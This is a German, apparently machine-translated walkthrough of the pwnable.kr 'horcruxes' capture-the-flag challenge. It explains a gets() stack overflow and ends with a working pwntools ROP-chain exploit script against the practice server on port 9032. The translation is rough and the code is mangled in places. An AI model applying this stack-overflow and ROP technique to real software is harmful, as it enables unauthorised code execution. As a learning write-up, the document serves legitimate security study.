Problemlösung mit pwnable.kr 21 - horcuxes. Rückgabeorientierte Programmierung und ROP-Ketten

Bild

In diesem Artikel lösen wir die 21. Aufgabe auf der Website pwnable.kr , die darauf abzielt, die ROP-Kette zu kompilieren.

Organisationsinformationen
Speziell für diejenigen, die etwas Neues lernen und sich in einem der Bereiche Informations- und Computersicherheit entwickeln möchten, werde ich über die folgenden Kategorien schreiben und sprechen:

  • PWN;
  • Kryptographie (Krypto);
  • Netzwerktechnologien (Netzwerk);
  • Reverse (Reverse Engineering);
  • Steganographie (Stegano);
  • Suche und Ausnutzung von WEB-Schwachstellen.

Darüber hinaus werde ich meine Erfahrungen in den Bereichen Computerforensik, Analyse von Malware und Firmware, Angriffe auf drahtlose Netzwerke und lokale Netzwerke, Durchführung von Pentests und Schreiben von Exploits teilen.

Damit Sie sich über neue Artikel, Software und andere Informationen informieren können, habe ich in Telegram einen Kanal und eine Gruppe eingerichtet, um alle Probleme im Bereich ICD zu diskutieren . Außerdem werde ich Ihre persönlichen Anfragen, Fragen, Vorschläge und Empfehlungen persönlich prüfen und alle beantworten .

Alle Informationen werden nur zu Bildungszwecken bereitgestellt. Der Autor dieses Dokuments übernimmt keine Verantwortung für Schäden, die jemandem durch die Verwendung von Kenntnissen und Methoden entstehen, die durch das Studium dieses Dokuments erworben wurden.

Lösung für die Horkrux-Quest


Ich sehe keinen Grund zu beschreiben, was umgekehrt orientierte Programmierung ist, da dieser Artikel alles sehr detailliert beschreibt.

Wir klicken auf das Horkrux-Signatursymbol und es wird uns mitgeteilt, dass wir uns über SSH mit dem Passwort Gast verbinden müssen.

Bild

Wenn verbunden, sehen wir das entsprechende Banner.

Bild

Lassen Sie uns herausfinden, welche Dateien sich auf dem Server befinden und welche Rechte wir haben.

Bild

Es gibt eine Readme-Datei. Mal sehen, welche Nachricht sie uns hinterlassen haben.

Bild

Es wird berichtet, dass das Programm auf Port 9032 ausgeführt wird. Wir erhalten keinen Quellcode. Laden Sie das Programm daher selbst herunter.
scp -P2222 horcruxes@pwnable.kr:horcruxes /root/ 

Bild

Führen Sie es in der IDA aus und dekompilieren Sie es. Es gibt drei interessante Funktionen: Hinweis, init_ABCDEFG und ropme.

Bild

Nach dem Namen zu urteilen, sollte die Hinweisfunktion einen Hinweis enthalten. Mal sehen.

Bild

Es wird gesagt, dass Sie 7 Ebenen durchlaufen müssen. Schauen wir uns ropme an.

Bild

Schon interessanter. Das Programm liest die Zahl und wenn sie einem bestimmten Referenzwert entspricht, wird eine Funktion aufgerufen, die diesen Wert anzeigt. Und so gibt es 7 Bedeutungen.

Bild

Wenn es keine Übereinstimmungen gab, werden wir aufgefordert, eine Zeichenfolge einzugeben, die mit der variablen Summe verglichen wird. Schauen wir uns also init_ABCDEFG an.

Bild

Hier erfolgt die Initialisierung der zufällig generierten Referenzwerte. Und Summe ist die Summe dieser Zahlen.

Wir haben das Programm aussortiert. Der Quest-Tooltip sagt ROP. Die Idee ist die folgende: Wir müssen alle 7 Funktionen aufrufen, um die Referenzwerte zu kennen, und dann ropme erneut aufrufen, um die Summe dieser Werte zu übertragen.

Dank der Funktion gets können wir die Absenderadresse mit einer Adresskette umschreiben. Wir berechnen die Anzahl der Bytes an die Absenderadresse.

Bild

Wir müssen also zum Programm übertragen, wir müssen 0x78 Bytes des Stubs übertragen und dann in einer Reihe 8 Adressen von Funktionen. In der IDA finden wir die Adressen unserer Funktionen.

Bild

Jetzt schreiben wir einen Exploit.
 rom pwn import * payload = "A" * 0x78 payload += p32(0x0809fe4b) payload += p32(0x0809fe6a) payload += p32(0x0809fe89) payload += p32(0x0809fea8) payload += p32(0x0809fec7) payload += p32(0x0809fee6) payload += p32(0x0809ff05) payload += p32(0x0809fffc) con = remote("pwnable.kr", 9032) con.recv() con.recv() con.send("123" + "\n") con.recv() con.send(payload + "\n") con.recv() ans = con.recv().split('\n') sum_result = 0 for i in range(1,8): sum_result += int(ans[i].split('+')[1].split(')')[0]) con.send("123" + "\n") con.send(str(sum_result) + "\n") 


Bild

Wir bekommen das gewünschte Flag und erledigen den ersten Teil der Aufgaben auf pwnable.kr.

Bild

Sie können sich uns per Telegramm anschließen . Das nächste Mal werden wir uns mit dem Heap-Überlauf befassen.

Source: https://habr.com/ru/post/de463737/


All Articles